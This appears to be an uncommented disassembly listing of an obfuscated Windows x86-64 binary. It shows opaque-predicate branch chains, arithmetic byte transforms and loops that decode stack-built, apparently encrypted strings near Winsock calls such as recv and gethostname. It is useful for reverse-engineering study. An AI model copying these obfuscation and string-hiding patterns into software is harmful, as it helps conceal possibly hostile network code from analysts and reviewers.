jmp 0x14007c1ea
lea ecx, [r9 - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7d
cmp rbx, 0x400
jae 0x14007c0ae
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14007bff9
lea edx, [r9 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007bc8d
lea ecx, [r9 - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x17
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x14007c0d0
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x14007bf4f
lea ecx, [r9 + 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x27
jmp 0x14007bcca
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
jmp 0x14007c15a
lea edx, [r9 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007c12e
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x14007c2af
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
add rbx, r8
jmp 0x14007c2af
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007c276
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
dec r11
inc r11
jmp 0x14007b853
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007b853
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x14007c1ea
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14007be6f
lea ecx, [r9 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
jmp 0x14007bd16
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007beaa
sub r9b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x600]
add rax, r8
add r11, rax
inc r11
jmp 0x14007b853
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007bed2
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007c12e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007befb
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
add rbx, r8
jmp 0x14007c2af
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007bf27
add r9b, 0x52
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3e
dec r11
inc r11
jmp 0x14007b853
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007bd16
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x14007c1ea
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007bf73
lea ecx, [r9 + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x73
jmp 0x14007c1ea
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007bf97
lea ecx, [r9 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
jmp 0x14007c276
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007bfbd
sub r9b, 0x31
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x57
jmp 0x14007c15a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007bcca
sub r9b, 0x1b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x43
movzx eax, byte [rbp + r11 + 0x600]
add rax, r8
add r11, rax
inc r11
jmp 0x14007b853
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007c031
sub r9b, 0x64
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x44
movzx eax, byte [rbp + r11 + 0x600]
add rax, r8
add r11, rax
inc r11
jmp 0x14007b853
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007c057
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
jmp 0x14007c2af
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007c086
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007b853
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007bc8d
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x14007c1ea
lea edx, [r9 + 0x78]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, dl
add dil, r10b
jmp 0x14007c276
lea edx, [r9 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007c12e
add r9b, 0x2d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3b
movzx eax, byte [rbp + r11 + 0x600]
add rax, r8
add r11, rax
inc r11
jmp 0x14007b853
lea ecx, [r9 + 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 7
add r9b, 0x19
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x51
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x600], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r10b
mov byte [rbp + r11 + 0x600], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x600]
add rax, r8
add r11, rax
inc r11
jmp 0x14007b853
lea ecx, [r9 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
jmp 0x14007c276
lea ecx, [r9 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6b
jmp 0x14007c1ea
movzx r9d, r11b
lea ecx, [r9 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x37
sub r9b, 0x13
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x7b
add r9b, r10b
mov byte [rbp + r11 + 0x600], r9b
inc r8
dec r11
inc r11
jmp 0x14007b853
lea ecx, [r11 + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x63
inc r8
dec r11
inc r11
jmp 0x14007b853
lea ecx, [r11 + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 3
dec r11
inc r11
jmp 0x14007b853
movzx r9d, r11b
lea ecx, [r9 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
add r9b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x15
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x600], r9b
add rbx, r8
jmp 0x14007c2af
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x35
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007b853
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x67
movzx eax, byte [rbp + r11 + 0x600]
add rax, r8
add r11, rax
inc r11
jmp 0x14007b853
add r9b, 0x37
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x7f
jmp 0x14007b850
add r9b, 0x21
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x19
jmp 0x14007b840
lea rcx, [rbp + 0x166af64]
jmp 0x14007c344
lea rcx, [rbp + 0x106e8ef]
jmp 0x14007c344
lea rcx, [rbp + 0x600]
lea rdx, [0x1401feb8d]
call fcn.140039a40
mov byte [rbp + 0x630], 0x29
mov byte [rbp + 0x631], 0xdf
mov byte [rbp + 0x632], 0xd3
mov byte [rbp + 0x633], 0xd5
mov byte [rbp + 0x634], 0xdc
mov byte [rbp + 0x635], 0xd4
mov byte [rbp + 0x636], socket
mov byte [rbp + 0x637], 0x30
mov byte [rbp + 0x638], 0xc2
mov byte [rbp + 0x639], 0xc6
mov byte [rbp + 0x63a], 0xcd
mov byte [rbp + 0x63b], 0xcc
mov byte [rbp + 0x63c], 0xd0
mov byte [rbp + 0x63d], 0xd8
mov byte [rbp + 0x63e], 0xd7
mov byte [rbp + 0x63f], 0xc9
mov byte [rbp + 0x640], 0x7c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x641], xmm0
mov byte [rbp + 0x651], al
movabs r14, 0x73a7064bb0f0e4e
movabs r15, 0x410df38a938780be
movabs r13, 0x329912c11d696422
movabs r12, 0x15af512e312d2aea
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x22
jae 0x14007cf5c
movzx r10d, byte [rbp + r11 + 0x630]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007cf53
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007c46c
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x22
jmp 0x14007c499
je 0x14007cee0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007ce55
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007ce27
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007cddf
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14007cf4a
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14007c4ce
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007c510
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007cd95
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007cd6f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007cd4f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007cd32
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007cd13
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007ca91
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007ca72
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007ca49
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007ca26
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007ca0b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007c9e8
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007c9c8
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007c9ad
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007c990
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007c95e
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007c520
lea rbx, [r8 + 0x61]
lea r8, [rbx + 2]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007cf2d
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007cf0d
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007c712
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007c6f7
lea rcx, [r8 + 6]
cmp rbx, rcx
jb 0x14007c6dc
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007c907
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007c8ba
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007c87d
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007c852
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007c520
mov rbx, rcx
lea r8, [rcx + 0x28]
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x14007c823
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x14007c806
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14007c7e7
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14007c7c7
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x14007c7a7
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x14007c799
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x14007c773
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x14007c74d
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x14007c732
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x14007c520
lea rbx, [r8 + 8]
lea r8, [rbx + 0x40]
jmp 0x14007c520
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x14007c510
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x14007c4a0
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007c440
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x14007cdaf
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
inc r8
dec r11
inc r11
jmp 0x14007c423
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007c423
lea edx, [r9 + 0x5c]
mov ecx, 0x3e
jmp 0x14007cdec
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
add rbx, r8
jmp 0x14007ce3c
add r9b, 0x24
movzx eax, r9b
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007ce3c
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007ce71
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
jmp 0x14007ce9d
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0x630]
add rax, r8
add r11, rax
inc r11
jmp 0x14007c423
sub r9b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x630], dil
inc r11
jmp 0x14007c423
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
cmp r8, 0x2a
jb 0x14007c86d
lea edx, [r9 + 0x14]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x18]
jmp 0x14007cdaf
lea edx, [r9 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x5a
jae 0x14007ccdf
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x14007cc23
lea edx, [r9 - 4]
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14007c893
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x14007ccfd
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14007cb70
lea edx, [r9 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1a
add dil, dl
jmp 0x14007c8d4
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x630]
add rax, r8
add r11, rax
inc r11
jmp 0x14007c423
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
jmp 0x14007ce9d
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x14007ce71
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007ce3c
sub r9b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14007ce3c
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14007cdfd
sub r9b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
dec r11
inc r11
jmp 0x14007c423
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007c423
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007cdaf
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x14007cab5
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x14007c921
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007caf0
sub r9b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x630]
add rax, r8
add r11, rax
inc r11
jmp 0x14007c423
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007cb14
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x14007ce71
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007cb40
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14007ce3c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007c921
add r9b, 0x74
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2c
dec r11
inc r11
jmp 0x14007c423
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007cb95
lea edx, [r9 + 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5e
jmp 0x14007cdac
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007cbbe
add r9b, 0x3e
movzx eax, r10b
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007ce3c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007cbe7
add r9b, 0x76
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3a
add dil, r9b
jmp 0x14007ce9d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007c8d4
add r9b, 0x12
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7e
movzx eax, byte [rbp + r11 + 0x630]
add rax, r8
add r11, rax
inc r11
jmp 0x14007c423
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007cc5b
sub r9b, 0x68
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x630]
add rax, r8
add r11, rax
inc r11
jmp 0x14007c423
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007cc83
lea edx, [r9 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14007ce71
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007ccac
add r9b, 0x6c
movzx eax, r10b
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007ce3c
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007c893
sub r9b, 0x24
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 4
inc r8
dec r11
inc r11
jmp 0x14007c423
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007cdfd
lea ecx, [r9 + 0x4c]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x14]
jmp 0x14007ce71
lea edx, [r9 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14007ce71
add r9b, 0xe
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x62
jmp 0x14007ce3c
add r9b, 0x72
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x1e
add rbx, r8
jmp 0x14007ce3c
add r9b, 0x3a
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14007c423
lea edx, [r9 + 2]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xe
add dil, dl
add r9b, 0x62
movzx eax, r10b
and al, r9b
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x630], cl
inc r8
dec r11
inc r11
jmp 0x14007c423
movzx r9d, r11b
lea edx, [r9 - 0xa]
mov ecx, 0x23
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 2
movzx eax, r10b
and al, r9b
mov ecx, 7
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r11 + 0x630], cl
add rbx, r8
jmp 0x14007ce3c
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x32
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007c423
lea rcx, [r11 + r13]
and sil, cl
mov eax, 9
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x36
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x630], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x58
add cl, r10b
mov byte [rbp + r11 + 0x630], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x630]
add rax, r8
add r11, rax
inc r11
jmp 0x14007c423
lea rcx, [r11 + r12]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
movzx eax, byte [rbp + r11 + 0x630]
add rax, r8
add r11, rax
inc r11
jmp 0x14007c423
sub r9b, 0x7a
movzx eax, r10b
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007c420
sub r9b, 0x16
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x66
jmp 0x14007c406
lea rcx, [rbp + 0x15da298]
jmp 0x14007cf63
lea rcx, [rbp + 0xecb0e6]
jmp 0x14007cf63
lea rcx, [rbp + 0x630]
lea rdx, [0x1401feb84]
call fcn.140039a40
mov byte [rbp + 0x2e0], 0x4d
mov byte [rbp + 0x2e1], 0x77
mov byte [rbp + 0x2e2], WSASetLastError
mov byte [rbp + 0x2e3], WSASetLastError
mov byte [rbp + 0x2e4], 0x76
mov byte [rbp + 0x2e5], WSASetLastError
mov byte [rbp + 0x2e6], 0x20
mov byte [rbp + 0x2e7], 0x45
mov byte [rbp + 0x2e8], 0x5f
mov byte [rbp + 0x2e9], 0x57
mov byte [rbp + 0x2ea], recvfrom
xor eax, eax
mov qword [rbp + 0x2eb], rax
mov dword [rbp + 0x2f3], eax
mov byte [rbp + 0x2f7], al
movabs rsi, 0xc3f918c02a83da81
movabs r12, 0x5bcfad41299af987
movabs r15, 0xd3dd7bc0d4934485
movabs r14, 0x4beb4a407f8b8f83
movzx edi, byte [rsp + 0x50]
nop
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x18
jae 0x14007db86
movzx r10d, byte [rbp + r11 + 0x2e0]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007db7d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007d05c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x79
jmp 0x14007d0a3
je 0x14007db11
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007dab8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007da74
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007da53
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007da2f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007d9e8
movzx r9d, r11b
cmp r8, r11
ja 0x14007db74
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14007d0d1
lea ecx, [r9 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x13
jmp 0x14007d100
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007d9d0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007d9ad
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007d97e
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007d64e
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007d633
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007d60d
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007d5ea
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007d5cf
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007d5b2
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007d595
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007d57a
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007d55d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007d52e
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007d110
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x40]
